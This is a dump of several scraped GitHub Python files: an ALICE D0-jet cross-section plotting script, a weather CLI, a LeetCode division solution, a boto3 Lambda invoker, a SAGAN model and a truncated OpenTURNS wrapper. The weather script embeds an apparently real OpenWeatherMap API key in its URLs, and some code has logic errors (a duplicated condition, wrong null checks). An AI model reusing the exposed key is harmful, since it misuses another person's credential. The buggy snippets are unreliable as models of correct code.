with statistical uncertainty!\")\n exit(1)\n hSyst = DMesonJetUtils.GetObject(file, \"FinalSpectrum/CentralPointsSystematicUncertainty\")\n if not hSyst:\n print(\"Cannot get measured cross section with systematic uncertainty!\")\n exit(1)\n return hStat, hSyst\n\n\ndef GetTheoryCrossSection():\n # fname = \"{0}/PromptDJetsPrediction_1505317519.root\".format(input_path)\n fname = \"{0}/PromptDJetsPrediction_1483386026.root\".format(input_path)\n file = ROOT.TFile(fname)\n if not file or file.IsZombie():\n print(\"Could not open file {0}\".format(fname))\n exit(1)\n hStat = DMesonJetUtils.GetObject(file, \"default/JetPtSpectrum_DPt_30/GeneratorLevel_JetPtSpectrum\")\n if not hStat:\n print(\"Cannot get theory cross section with statistical uncertainty!\")\n exit(1)\n hSystUp = DMesonJetUtils.GetObject(file, \"SystematicUncertainty/JetPtSpectrum_DPt_30//GeneratorLevel_JetPtSpectrum/GeneratorLevel_JetPtSpectrum_UpperSyst\")\n if not hSystUp:\n print(\"Cannot get theory cross section upper systematic uncertainty!\")\n exit(1)\n hSystLow = DMesonJetUtils.GetObject(file, \"SystematicUncertainty/JetPtSpectrum_DPt_30//GeneratorLevel_JetPtSpectrum/GeneratorLevel_JetPtSpectrum_LowerSyst\")\n if not hSystUp:\n print(\"Cannot get theory cross section lower systematic uncertainty!\")\n exit(1)\n hSyst = DMesonJetUtils.GetObject(file, \"SystematicUncertainty/JetPtSpectrum_DPt_30//GeneratorLevel_JetPtSpectrum/GeneratorLevel_JetPtSpectrum_CentralAsymmSyst\")\n if not hSystUp:\n print(\"Cannot get theory cross section lower systematic uncertainty!\")\n exit(1)\n\n # scale for the bin width and the antiparticle factor\n hStat.Scale(0.5, \"width\")\n hSystUp.Scale(0.5, \"width\")\n hSystLow.Scale(0.5, \"width\")\n\n # scale for antiparticle factor\n for i in range(0, hSyst.GetN()):\n hSyst.SetPoint(i, hSyst.GetX()[i], hSyst.GetY()[i] / 2)\n hSyst.SetPointError(i, hSyst.GetErrorXlow(i), hSyst.GetErrorXhigh(i), hSyst.GetErrorYlow(i) / 2, hSyst.GetErrorYhigh(i) / 2)\n\n return hStat, hSystUp, hSystLow, hSyst\n\n\ndef PlotCrossSections(dataStat, dataSyst, theoryStat, theorySystUp, theorySystLow, theorySyst):\n cname = \"D0JetCrossSection_Paper\"\n canvas = ROOT.TCanvas(cname, cname, 700, 700)\n globalList.append(canvas)\n canvas.Divide(1, 2)\n padMain = canvas.cd(1)\n padMain.SetPad(0, 0.35, 1, 1)\n padMain.SetBottomMargin(0)\n padMain.SetLeftMargin(0.15)\n padMain.SetTicks(1, 1)\n padRatio = canvas.cd(2)\n padRatio.SetPad(0, 0., 1, 0.35)\n padRatio.SetTopMargin(0)\n padRatio.SetBottomMargin(0.27)\n padRatio.SetLeftMargin(0.15)\n padRatio.SetGridy()\n padRatio.SetTicks(1, 1)\n\n padMain.cd()\n padMain.SetLogy()\n h = dataStat.DrawCopy(\"axis\")\n h.GetYaxis().SetRangeUser(2e-5, 7e-1)\n h.GetYaxis().SetTitleFont(43)\n h.GetYaxis().SetTitleSize(26)\n h.GetYaxis().SetLabelFont(43)\n h.GetYaxis().SetLabelSize(22)\n h.GetYaxis().SetTitleOffset(1.6)\n # h.GetYaxis().SetTitle(\"#frac{d^{2}#sigma}{d#it{p}_{T}d#eta} [mb (GeV/#it{c})^{-1}]\")\n # h.GetXaxis().SetTitle(\"#it{p}_{T,ch jet} (GeV/#it{c})\")\n\n dataSyst_copy = dataSyst.Clone(\"{0}_copy\".format(dataSyst.GetName()))\n dataSyst_copy.Draw(\"2\")\n globalList.append(dataSyst_copy)\n\n dataStat_copy = dataStat.DrawCopy(\"same p e0 x0\")\n globalList.append(dataStat_copy)\n\n theoryStat_copy = theoryStat.DrawCopy(\"same p e0 x0\")\n globalList.append(theoryStat_copy)\n theoryStat_copy.SetLineColor(ROOT.kBlue + 2)\n theoryStat_copy.SetMarkerColor(ROOT.kBlue + 2)\n theoryStat_copy.SetMarkerStyle(ROOT.kOpenCircle)\n theoryStat_copy.SetMarkerSize(1.2)\n\n theorySyst_copy = theorySyst.Clone(\"theorySyst_copy\")\n globalList.append(theorySyst_copy)\n theorySyst_copy.Draw(\"2\")\n theorySyst_copy.SetFillStyle(0)\n theorySyst_copy.SetLineWidth(2)\n theorySyst_copy.SetLineColor(ROOT.kBlue + 2)\n\n# theorySystUp_copy = theoryStat.DrawCopy(\"same hist l\")\n# globalList.append(theorySystUp_copy)\n# theorySystUp_copy.Add(theorySystUp, 1)\n# theorySystUp_copy.SetLineColor(ROOT.kBlue + 2)\n# theorySystUp_copy.SetLineWidth(1)\n#\n# theorySystLow_copy = theoryStat.DrawCopy(\"same hist l\")\n# globalList.append(theorySystLow_copy)\n# theorySystLow_copy.Add(theorySystLow, -1)\n# theorySystLow_copy.SetLineColor(ROOT.kBlue + 2)\n# theorySystLow_copy.SetLineWidth(1)\n\n padRatio.cd()\n\n ratioSyst = dataSyst_copy.Clone(\"ratioSyst\")\n globalList.append(ratioSyst)\n\n hRatio = dataStat_copy.DrawCopy(\"axis\")\n hRatio.GetYaxis().SetTitle(\"data / theory\")\n hRatio.GetXaxis().SetTitleFont(43)\n hRatio.GetXaxis().SetTitleSize(26)\n hRatio.GetXaxis().SetLabelFont(43)\n hRatio.GetXaxis().SetLabelSize(22)\n hRatio.GetYaxis().SetTitleFont(43)\n hRatio.GetYaxis().SetTitleSize(26)\n hRatio.GetYaxis().SetLabelFont(43)\n hRatio.GetYaxis().SetLabelSize(22)\n hRatio.GetYaxis().SetTitleOffset(1.4)\n hRatio.GetXaxis().SetTitleOffset(2.9)\n hRatio.GetYaxis().SetRangeUser(0, 2.49)\n hRatio.GetYaxis().SetNdivisions(509)\n\n ratioSyst.Draw(\"2\")\n ratioStat = dataStat_copy.DrawCopy(\"same p e0 x0\")\n globalList.append(ratioStat)\n\n ratioTheorySyst = theorySyst_copy.Clone(\"ratioTheorySyst\")\n globalList.append(ratioTheorySyst)\n ratioTheorySyst.Draw(\"2\")\n\n# ratioTheorySystUp = theorySystUp_copy.DrawCopy(\"same hist l\")\n# globalList.append(ratioTheorySystUp)\n# ratioTheorySystLow = theorySystLow_copy.DrawCopy(\"same hist l\")\n# globalList.append(ratioTheorySystLow)\n\n for ibin in range(1, ratioStat.GetNbinsX() + 1):\n ratioSyst.SetPoint(ibin - 1, ratioSyst.GetX()[ibin - 1], ratioSyst.GetY()[ibin - 1] / theoryStat_copy.GetBinContent(ibin))\n ratioSyst.SetPointEYlow(ibin - 1, ratioSyst.GetErrorYlow(ibin - 1) / theoryStat_copy.GetBinContent(ibin))\n ratioSyst.SetPointEYhigh(ibin - 1, ratioSyst.GetErrorYhigh(ibin - 1) / theoryStat_copy.GetBinContent(ibin))\n ratioStat.SetBinContent(ibin, ratioStat.GetBinContent(ibin) / theoryStat_copy.GetBinContent(ibin))\n ratioStat.SetBinError(ibin, ratioStat.GetBinError(ibin) / theoryStat_copy.GetBinContent(ibin))\n # ratioTheorySystUp.SetBinContent(ibin, ratioTheorySystUp.GetBinContent(ibin) / theoryStat_copy.GetBinContent(ibin))\n # ratioTheorySystLow.SetBinContent(ibin, ratioTheorySystLow.GetBinContent(ibin) / theoryStat_copy.GetBinContent(ibin))\n ratioTheorySyst.SetPoint(ibin - 1, ratioTheorySyst.GetX()[ibin - 1], ratioTheorySyst.GetY()[ibin - 1] / theoryStat_copy.GetBinContent(ibin))\n ratioTheorySyst.SetPointEYlow(ibin - 1, ratioTheorySyst.GetErrorYlow(ibin - 1) / theoryStat_copy.GetBinContent(ibin))\n ratioTheorySyst.SetPointEYhigh(ibin - 1, ratioTheorySyst.GetErrorYhigh(ibin - 1) / theoryStat_copy.GetBinContent(ibin))\n\n padMain.cd()\n leg1 = ROOT.TLegend(0.50, 0.39, 0.80, 0.65, \"\", \"NB NDC\")\n globalList.append(leg1)\n leg1.SetBorderSize(0)\n leg1.SetFillStyle(0)\n leg1.SetTextFont(43)\n leg1.SetTextSize(23)\n leg1.SetTextAlign(12)\n leg1.SetMargin(0.2)\n leg1.AddEntry(dataStat_copy, \"Data\", \"p\")\n leg1.AddEntry(dataSyst_copy, \"Syst. Unc. (data)\", \"f\")\n leg1.AddEntry(theoryStat_copy, \"POWHEG+PYTHIA6\", \"p\")\n # leg1.AddEntry(theorySystUp_copy, \"Systematic Uncertainty (theory)\", \"l\")\n leg1.AddEntry(theorySyst_copy, \"Syst. Unc. (theory)\", \"f\")\n leg1.Draw()\n\n padMain.cd()\n paveALICE = ROOT.TPaveText(0.16, 0.64, 0.55, 0.90, \"NB NDC\")\n globalList.append(paveALICE)\n paveALICE.SetBorderSize(0)\n paveALICE.SetFillStyle(0)\n paveALICE.SetTextFont(43)\n paveALICE.SetTextSize(22)\n paveALICE.SetTextAlign(13)\n # paveALICE.AddText(\"ALICE Preliminary\")\n paveALICE.AddText(\"pp, #sqrt{#it{s}} = 7 TeV\")\n paveALICE.AddText(\"Charged Jets, Anti-#it{k}_{T}, #it{R} = 0.4, |#eta_{jet}| < 0.5\")\n paveALICE.AddText(\"with D^{0}, #it{p}_{T,D} > 3 GeV/#it{c}\")\n paveALICE.Draw()\n\n padRatio.RedrawAxis(\"g\")\n padRatio.RedrawAxis()\n padMain.RedrawAxis()\n\n return canvas\n\n\ndef main():\n ROOT.TH1.AddDirectory(False)\n ROOT.gStyle.SetOptTitle(0)\n ROOT.gStyle.SetOptStat(0)\n\n dataStat, dataSyst = GetMeasuredCrossSection()\n theoryStat, theorySystUp, theorySystDown, theorySyst = GetTheoryCrossSection()\n canvas = PlotCrossSections(dataStat, dataSyst, theoryStat, theorySystUp, theorySystDown, theorySyst)\n canvas.SaveAs(\"{0}/D0JetCrossSection_Paper.pdf\".format(input_path))\n canvas.SaveAs(\"{0}/D0JetCrossSection_Paper.C\".format(input_path))\n\n\nif __name__ == '__main__':\n main()\n\n IPython.embed()\n","repo_name":"MycrofD/alice-yale-hfjet","sub_path":"DMesonJetAnalysis/JetPtSpectrum_Paper.py","file_name":"JetPtSpectrum_Paper.py","file_ext":"py","file_size_in_byte":9242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20066075420","text":"'''automatically check if letters or numbers entered'''\n\n'''outline of program'''\n\nimport requests\nimport json\n\ndef req(url):\n response = requests.request(\"GET\", url)\n # print(response) # tells response code (200 = success)\n resString = json.loads(response.text)\n # print(resString) # returns json string\n # print(\"It is currently\", resString['main']['temp'], u\"\\b\\N{DEGREE SIGN}F with\", resString['weather'][0]['description'])\n prettyPrint(resString)\n\ndef byCity(city):\n print(\"Getting\", city.title(), \"...\")\n base_url = \"http://api.openweathermap.org/data/2.5/weather?q=\"\n api_key = \"&appid=b1e5c368120adc33cee07aad2dcdc946&units=imperial\"\n url = base_url+city+api_key\n req(url)\n\ndef byZip(zip):\n print(\"Getting\", zip, \"...\")\n base_url = \"http://api.openweathermap.org/data/2.5/weather?zip=\"\n api_key = \"&appid=b1e5c368120adc33cee07aad2dcdc946&units=imperial\"\n url = base_url+zip+api_key\n req(url)\n\ndef allDone():\n done = input(\"\\nWould you like to search again? \"\n \"[\\033[1mY\\033[0m/\\033[1mN\\033[0m] >> \")\n if done.lower() == \"y\":\n main()\n elif done.lower() == \"n\":\n print(\"Okay, have a great day!\")\n exit()\n else:\n print('Sorry, \"'+done+'\"', \"is not recognized.\")\n allDone()\n\ndef prettyPrint(resString):\n city = resString['name'].upper()\n temp = f\"\\033[1m{resString['main']['temp']:.0f}\\N{DEGREE SIGN}F\\033[0m\"\n hi_temp = f\"{resString['main']['temp_max']:.0f}\\N{DEGREE SIGN}\"\n lo_temp = f\"{resString['main']['temp_min']:.0f}\\N{DEGREE SIGN}\"\n feels_like = f\"{resString['main']['feels_like']:.0f}\\N{DEGREE SIGN}F\"\n weather = resString['weather'][0]['main']\n conditions = resString['weather'][0]['description']\n wind_dir = windDirection(resString['wind']['deg'])\n wind_mph = f\"{resString['wind']['speed']:.0f}\"\n\n print(f'\\n={city}= {temp} (hi {hi_temp}/lo {lo_temp})\\n'\n f'Feels like: {feels_like}\\n'\n f'Currently: {weather} ({conditions})\\n'\n f'With {wind_dir} winds at {wind_mph} mph')\n\ndef windDirection(wind_dir):\n if wind_dir <= 22.5:\n direction = 'N'\n elif wind_dir <= 67.5:\n direction = 'NE'\n elif wind_dir <= 112.5:\n direction = 'E'\n elif wind_dir <= 157.5:\n direction = 'SE'\n elif wind_dir <= 202.5:\n direction = 'S'\n elif wind_dir <= 247.5:\n direction = 'SW'\n elif wind_dir <= 292.5:\n direction = 'W'\n elif wind_dir <= 337.5:\n direction = 'NW'\n else:\n direction = 'N'\n return direction\n\ndef main():\n city_or_zip = input(\"Please enter \\033[1mcity name\\033[0m \"\n \"or \\033[1mzip code\\033[0m: >> \")\n if city_or_zip.isalpha() == True:\n byCity(city_or_zip)\n elif city_or_zip.isdecimal() == True:\n byZip(city_or_zip)\n else:\n print('Sorry, \"'+city_or_zip+'\"', \"is not recognized.\")\n main()\n allDone()\n\nif __name__ == '__main__':\n print(\"Welcome to the weather thing!\\n\")\n main()\n","repo_name":"ScottBreitbach/DSC510","sub_path":"510FinalProject/test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37564756696","text":"import torch\r\nimport warnings # to hide Named tensors warnings when uses max_pooling. This is a bug in pytorch https://github.com/pytorch/pytorch/issues/54846\r\nfrom tqdm.notebook import tqdm\r\nfrom torch.nn import functional as F\r\nfrom torch import nn\r\nfrom gan_modules import *\r\nfrom torch.utils import tensorboard\r\nfrom math import log2\r\n\r\nwarnings.simplefilter(\"ignore\")\r\n\r\n\r\ndef get_activation(activation, alpha=0.2):\r\n if(activation == \"relu\"):\r\n return nn.ReLU()\r\n elif(activation == \"leakyrelu\"):\r\n return nn.LeakyReLU(alpha)\r\n\r\n\r\nclass ResBlockG(nn.Module):\r\n def __init__(self, in_channels, out_channels, activation=\"leakyrelu\", alpha=0.2, kernel_size=(3, 3), upsampling_mode=\"tconv\"):\r\n super().__init__()\r\n if(upsampling_mode == \"tconv\"):\r\n upsampling = sn_tconv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=(4, 4), padding=1, stride=2, bias=False)\r\n else:\r\n upsampling = nn.Sequential(\r\n nn.Upsample(scale_factor=2),\r\n sn_conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, padding=1, bias=False)\r\n )\r\n self.main = nn.Sequential(\r\n nn.BatchNorm2d(in_channels),\r\n get_activation(activation, alpha),\r\n upsampling,\r\n nn.BatchNorm2d(out_channels),\r\n get_activation(activation),\r\n sn_conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=kernel_size, padding=1, bias=False),\r\n nn.BatchNorm2d(out_channels),\r\n get_activation(activation, alpha),\r\n sn_conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=kernel_size, padding=1, bias=False),\r\n )\r\n self.shutcut = nn.Sequential(\r\n upsampling,\r\n nn.BatchNorm2d(out_channels),\r\n get_activation(activation, alpha),\r\n sn_conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=(1, 1), bias=False),\r\n )\r\n\r\n def forward(self, inputs):\r\n main = self.main(inputs)\r\n shutcut = self.shutcut(inputs)\r\n output = main + shutcut\r\n return output\r\n\r\n\r\nclass Generator(nn.Module):\r\n def __init__(self, n_dims=512, max_resolution=256, lr=0.01, betas=(0.999), initial_layer=\"tconv\", upsampling_mode=\"tconv\", attention_loc=32):\r\n super().__init__()\r\n self.n_dims = n_dims\r\n self.initial_layer = initial_layer\r\n if(initial_layer == \"tconv\"):\r\n self.inputs = sn_tconv2d(in_channels=n_dims, out_channels=n_dims, kernel_size=(4, 4), bias=False)\r\n else:\r\n self.inputs = sn_linear(in_features=n_dims, out_features=n_dims * 4 * 4, bias=False)\r\n out_channels = {\r\n 4: 512,\r\n 8: 256,\r\n 16: 256,\r\n 32: 256,\r\n 64: 128,\r\n 128: 32,\r\n 256: 16,\r\n 512: 8\r\n }\r\n self.layers = nn.ModuleList([ResBlockG(in_channels=self.n_dims, out_channels=out_channels[4], upsampling_mode=upsampling_mode)])\r\n for index in range(3, int(log2(max_resolution)) - 1):\r\n self.layers.append(ResBlockG(in_channels=out_channels[2**(index - 1)],\r\n out_channels=out_channels[2**(index)], upsampling_mode=upsampling_mode))\r\n if(attention_loc == 2**(index)):\r\n self.layers.append(SelfAttention(in_channels=out_channels[2**(index)]))\r\n else:\r\n self.layers.append(ResBlockG(in_channels=out_channels[2**(index)], out_channels=3, upsampling_mode=upsampling_mode))\r\n self.layers.append(nn.Tanh())\r\n self.optimizer = torch.optim.Adam(self.parameters(), lr=lr, betas=betas)\r\n\r\n def forward(self, inputs):\r\n x = self.inputs(inputs)\r\n if(self.initial_layer != \"tconv\"):\r\n x = x.view(-1, self.n_dims, 4, 4)\r\n for layer in self.layers:\r\n x = layer(x)\r\n return x\r\n\r\n\r\nclass ResBlockD(nn.Module):\r\n def __init__(self, in_channels, out_channels, activation=\"leakyrelu\", alpha=0.2, downsampling_mode=\"conv\"):\r\n super().__init__()\r\n self.downsampling_mode = downsampling_mode\r\n self.main = nn.Sequential(\r\n get_activation(activation, alpha),\r\n sn_conv2d(in_channels=in_channels, out_channels=in_channels, kernel_size=(3, 3), padding=1),\r\n get_activation(activation, alpha),\r\n sn_conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=(3, 3), padding=1),\r\n )\r\n self.shutcut = nn.Sequential(\r\n get_activation(activation, alpha),\r\n sn_conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=(1, 1))\r\n )\r\n\r\n if(downsampling_mode == \"conv\"):\r\n self.downsampling_main = sn_conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=(4, 4), padding=1, stride=2)\r\n self.downsampling_shutcut = sn_conv2d(in_channels=out_channels, out_channels=out_channels, kernel_size=(4, 4), padding=1, stride=2)\r\n\r\n def forward(self, inputs):\r\n main = self.main(inputs)\r\n shutcut = self.shutcut(inputs)\r\n if(self.downsampling_mode == \"conv\"):\r\n output = self.downsampling_main(main) + self.downsampling_shutcut(shutcut)\r\n elif(self.downsampling_mode == \"pooling\"):\r\n _, _, h, w = inputs.shape\r\n output = F.adaptive_avg_pool2d(main, output_size=(h // 2, w // 2)) + F.adaptive_avg_pool2d(shutcut, output_size=(h // 2, w // 2))\r\n else:\r\n output = main + shutcut\r\n return output\r\n\r\n\r\nclass Discriminator(nn.Module):\r\n def __init__(self, max_resolution=256, lr=0.01, betas=(0, 0.999), activation=\"leakyrelu\", downsampling_mode=\"conv\", attention_loc=32):\r\n super().__init__()\r\n out_channels = {\r\n 4: 1024,\r\n 8: 1024,\r\n 16: 512,\r\n 32: 256,\r\n 64: 128,\r\n 128: 128,\r\n 256: 16,\r\n 512: 8,\r\n }\r\n self.layers = nn.ModuleList([ResBlockD(in_channels=3, out_channels=out_channels[max_resolution],\r\n activation=activation, downsampling_mode=downsampling_mode)])\r\n for index in range(int(log2(max_resolution)) - 4):\r\n self.layers.append(ResBlockD(in_channels=out_channels[max_resolution // 2**(index)], out_channels=out_channels[max_resolution // 2**(\r\n index + 1)], activation=activation, downsampling_mode=downsampling_mode))\r\n if((max_resolution // 2**(index + 1)) == attention_loc):\r\n self.layers.append(SelfAttention(in_channels=out_channels[max_resolution // 2**(index + 1)]))\r\n else:\r\n self.layers.extend([\r\n ResBlockD(in_channels=out_channels[max_resolution // 2**(index + 1)], out_channels=out_channels[max_resolution //\r\n 2**(index + 2)], activation=activation, downsampling_mode=downsampling_mode),\r\n MiniBatchStddev(),\r\n ResBlockD(in_channels=out_channels[max_resolution // 2**(index + 2)] + 1,\r\n out_channels=out_channels[max_resolution // 2**(index + 2)], activation=activation, downsampling_mode=None),\r\n get_activation(activation),\r\n GlobalSum(),\r\n sn_linear(in_features=out_channels[max_resolution // 2**(index + 2)], out_features=1)\r\n ])\r\n self.optimizer = torch.optim.Adam(self.parameters(), lr=lr, betas=betas)\r\n\r\n def forward(self, inputs):\r\n x = inputs\r\n for layer in self.layers:\r\n x = layer(x)\r\n return x\r\n\r\n\r\nclass SAGAN(GAN):\r\n def __init__(\r\n self,\r\n n_dims,\r\n n_dis,\r\n max_resolution,\r\n g_lr=1e-3,\r\n d_lr=1e-3,\r\n g_betas=(0, 0.9),\r\n d_betas=(0, 0.9),\r\n initial_layer=\"tconv\",\r\n upsampling_mode=\"tconv\",\r\n downsampling_mode=\"conv\",\r\n loss=\"hinge\",\r\n attention_loc=32\r\n ):\r\n super().__init__()\r\n self.n_dis = n_dis\r\n self.initial_layer = initial_layer\r\n self.device = \"cuda\" if (torch.cuda.is_available()) else \"cpu\"\r\n self.netD = Discriminator(max_resolution, d_lr, d_betas, downsampling_mode=downsampling_mode, attention_loc=attention_loc).to(self.device)\r\n self.netG = Generator(n_dims, max_resolution, g_lr, g_betas, initial_layer=initial_layer,\r\n upsampling_mode=upsampling_mode, attention_loc=attention_loc).to(self.device)\r\n self.n_dims = n_dims\r\n self.loss = Hinge() if loss == \"hinge\" else WassersteinGP(self.netD)\r\n if(self.initial_layer == \"tconv\"):\r\n self.fixed_noise = torch.randn(size=(16, self.n_dims, 1, 1), device=self.device)\r\n else:\r\n self.fixed_noise = torch.randn(size=(16, self.n_dims), device=self.device)\r\n\r\n def train_d(self, real_img, fake_img):\r\n self.netD.optimizer.zero_grad()\r\n real = self.netD(real_img)\r\n fake = self.netD(fake_img)\r\n loss = self.loss(real, fake, real_img, fake_img)\r\n loss.backward()\r\n self.netD.optimizer.step()\r\n return loss\r\n\r\n def train_g(self, fake_img):\r\n self.netG.optimizer.zero_grad()\r\n fake = self.netD(fake_img)\r\n loss = -fake.mean()\r\n loss.backward()\r\n self.netG.optimizer.step()\r\n return loss\r\n\r\n def generate(self, img_num=1):\r\n if(self.initial_layer == \"tconv\"):\r\n noise = torch.randn(size=(img_num, self.n_dims, 1, 1), device=self.device)\r\n else:\r\n noise = torch.randn(size=(img_num, self.n_dims), device=self.device)\r\n with torch.no_grad():\r\n img = (self.netG(noise) + 1) / 2\r\n return img\r\n\r\n def fit(self, dataset, epochs, batch_size=10, shuffle=True, num_workers=0, is_tensorboard=True, image_num=100):\r\n if(is_tensorboard):\r\n log_writer = tensorboard.SummaryWriter(log_dir=\"./logs\")\r\n loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=shuffle, num_workers=num_workers)\r\n save_num = len(loader) // image_num\r\n for epoch in tqdm(range(epochs), desc=\"Epochs\", total=epochs + self.total_epochs, initial=self.total_epochs):\r\n for step, data in enumerate(tqdm(loader, desc=\"Steps\", leave=False), start=1):\r\n real_imgs, _ = data\r\n real_imgs = real_imgs.to(self.device)\r\n if(self.initial_layer == \"tconv\"):\r\n noise = torch.randn(size=(real_imgs.shape[0], self.n_dims, 1, 1), device=self.device)\r\n else:\r\n noise = torch.randn(size=(real_imgs.shape[0], self.n_dims), device=self.device)\r\n with torch.no_grad():\r\n fake_imgs = self.netG(noise)\r\n loss_d = self.train_d(real_imgs, fake_imgs).to(\"cpu\")\r\n if(self.initial_layer == \"tconv\"):\r\n noise = torch.randn(size=(real_imgs.shape[0], self.n_dims, 1, 1), device=self.device)\r\n else:\r\n noise = torch.randn(size=(real_imgs.shape[0], self.n_dims), device=self.device)\r\n fake_imgs = self.netG(noise)\r\n self.total_steps += 1\r\n if(self.total_steps % self.n_dis == 0):\r\n loss_g = self.train_g(fake_imgs).to(\"cpu\")\r\n else:\r\n with torch.no_grad():\r\n loss_g = -self.netD(fake_imgs).mean().to(\"cpu\")\r\n if(is_tensorboard):\r\n log_writer.add_scalars(\r\n \"Loss\",\r\n {\"Generator\": loss_g.item(), \"Discriminator\": loss_d.item()},\r\n global_step=self.total_steps\r\n )\r\n\r\n if(step % save_num == 0):\r\n with torch.no_grad():\r\n sample_img = (self.netG(self.fixed_noise).detach() + 1) / 2\r\n sample_img = sample_img.to(\"cpu\")\r\n save_img(sample_img, file_name=f\"epoch{self.total_epochs}_step{step}\")\r\n for i in range(5):\r\n if(self.initial_layer == \"tconv\"):\r\n check_vec = torch.randn(size=(1, self.n_dims, 1, 1), device=self.device)\r\n else:\r\n check_vec = torch.randn(size=(1, self.n_dims), device=self.device)\r\n with torch.no_grad():\r\n check_img = (torch.squeeze(self.netG(check_vec)).detach() + 1) / 2\r\n check_img = check_img.to(\"cpu\")\r\n save_img(check_img, file_name=f\"epoch{self.total_epochs}_step{step}_check{i}\", is_grid=False)\r\n else:\r\n del check_vec\r\n self.save_model(f\"params\\epoch_{self.total_epochs}\")\r\n\r\n if(is_tensorboard):\r\n log_writer.close()\r\n","repo_name":"Ren634/GAN_zoo","sub_path":"SAGAN.py","file_name":"SAGAN.py","file_ext":"py","file_size_in_byte":13041,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"13030393871","text":"#k_list = [d_list[0]/d for d in d_list]\n#angle_mult = st / sum(k_list)\n#for segment in d:\n# result += d[0]/segment[0]\n# print(result)\n#print(angle_mult)\n\n#for k in k_list:\n# sector_angle = k * angle_mult\n# print(sector_angle, round(sector_angle, 1))\nd = [5]\ns = 3\n\nd.sort()\ndnum = len(d)\ncentre = d.index(d[-2] if dnum % 2 else d[-1])\norder = [*range(0, dnum, 2), *range(dnum - 1 - dnum % 2, 0, -2)]\nd = [d[i] for i in order]\n\n\nprint(d)\n\nresult = 0\nst = 360/s\nprint(st)\n\nfor segment in d:\n result += d[0] / segment\n print(result)\n\nts = st/result\n\nfor segment in d:\n y = d[0]/segment\n rty = ts*y\n print(rty, round(rty, 1))\n\n\n#\nprint([\n *d[::2],\n *d[-1 - len(d) % 2: 0: -2]])\n","repo_name":"maria-t-ekb/calibr","sub_path":"fti.py","file_name":"fti.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72958160833","text":"\"\"\"\n给定两个整数,被除数 dividend 和除数 divisor。将两数相除,要求不使用乘法、除法和 mod 运算符。\n\n返回被除数 dividend 除以除数 divisor 得到的商。\n\n整数除法的结果应当截去(truncate)其小数部分,例如:truncate(8.345) = 8 以及 truncate(-2.7335) = -2\n\n \n\n示例 1:\n\n输入: dividend = 10, divisor = 3\n输出: 3\n解释: 10/3 = truncate(3.33333..) = truncate(3) = 3\n示例 2:\n\n输入: dividend = 7, divisor = -3\n输出: -2\n解释: 7/-3 = truncate(-2.33333..) = -2\n \n\n提示:\n\n被除数和除数均为 32 位有符号整数。\n除数不为 0。\n假设我们的环境只能存储 32 位有符号整数,其数值范围是 [−231,  231 − 1]。本题中,如果除法结果溢出,则返回 231 − 1。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/divide-two-integers\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\nclass Solution:\n def divide(self, dividend: int, divisor: int) -> int:\n res=0\n if dividend>0 and divisor>0:\n while dividend >=divisor:\n dividend=dividend-divisor\n res+=1\n if dividend>0 and divisor<0:\n while dividend>0:\n dividend+=divisor\n res+=1\n res=-res\n if dividend<0 and divisor>0:\n while dividend<0:\n dividend+=divisor\n res+=1\n res=-res\n if dividend<0 and dividend<0:\n while dividend<0:\n dividend-=divisor\n res+=1\n if res<-2**31:\n return -2**31\n if res>2**31-1:\n return 2**31-1\n return res\n \nsolution=Solution()\nprint(solution.divide(1,1))","repo_name":"SsuperL/leetcode-practice","sub_path":"medium/exercise_29.py","file_name":"exercise_29.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"171397563","text":"#!/usr/local/opt/python@3.8/bin/python3.8\n# -*- coding: utf-8 -*-\n\nimport boto3\nimport sys\nimport json\n\nif __name__ == '__main__':\n args = sys.argv[1:]\n\n session = boto3.Session(profile_name='miavisa', region_name='us-east-1')\n client = session.client('lambda')\n\n payload = ' '.join(args)\n bin_res = client.invoke(FunctionName='epoch-converter',\n Payload=f'\"{payload}\"')['Payload'].read()\n str_res = bin_res.decode(\"utf-8\")\n res = json.decoder.JSONDecoder().decode(str_res)\n code = res['statusCode']\n msg = res['body']\n if code == 200:\n print(msg)\n else:\n print(f'Server returned unexpected status code: {code} - {msg}')\n ","repo_name":"miavisa/SD","sub_path":"tareas/faas/epoch-converter/invoke_lambda.py","file_name":"invoke_lambda.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33042788816","text":"'''\n Wrapper functions\n Author: S.B\n Description: The following code contains the necessary wrapper functions\n which implements Gaussian Process regression the OpenTURNS library\n'''\nimport openturns as ot\nimport numpy as np\nimport math\n\n\nclass openturns_wrapper():\n\n def __init__(self):\n\n # library\n self.library = 'openturns'\n\n # model definition\n self.model = None\n\n self.mean_function = None\n\n self.kernel_function = None\n\n self.nugget = None\n\n # data\n self.input_dim = 1\n self.train_dataframe = None\n self.x_train = None\n self.z_train = None\n\n self.test_dataframe = None\n self.x_test = None\n self.z_postmean = None\n self.z_postvar = None\n\n def load_data(self, x_train, z_train):\n '''\n This function re-configures the training data according to the library requirement\n '''\n self.x_train = ot.Sample(x_train)\n self.z_train = ot.Sample(np.reshape(z_train, (len(self.x_train), 1)))\n self.input_dim = x_train.shape[1]\n\n def set_kernel(self, kernel, ard=True):\n '''\n kernel : dictionary of parameters\n '''\n\n if kernel['name'] == 'Matern':\n self.kernel_function = ot.MaternModel(\n kernel['lengthscale'],\n 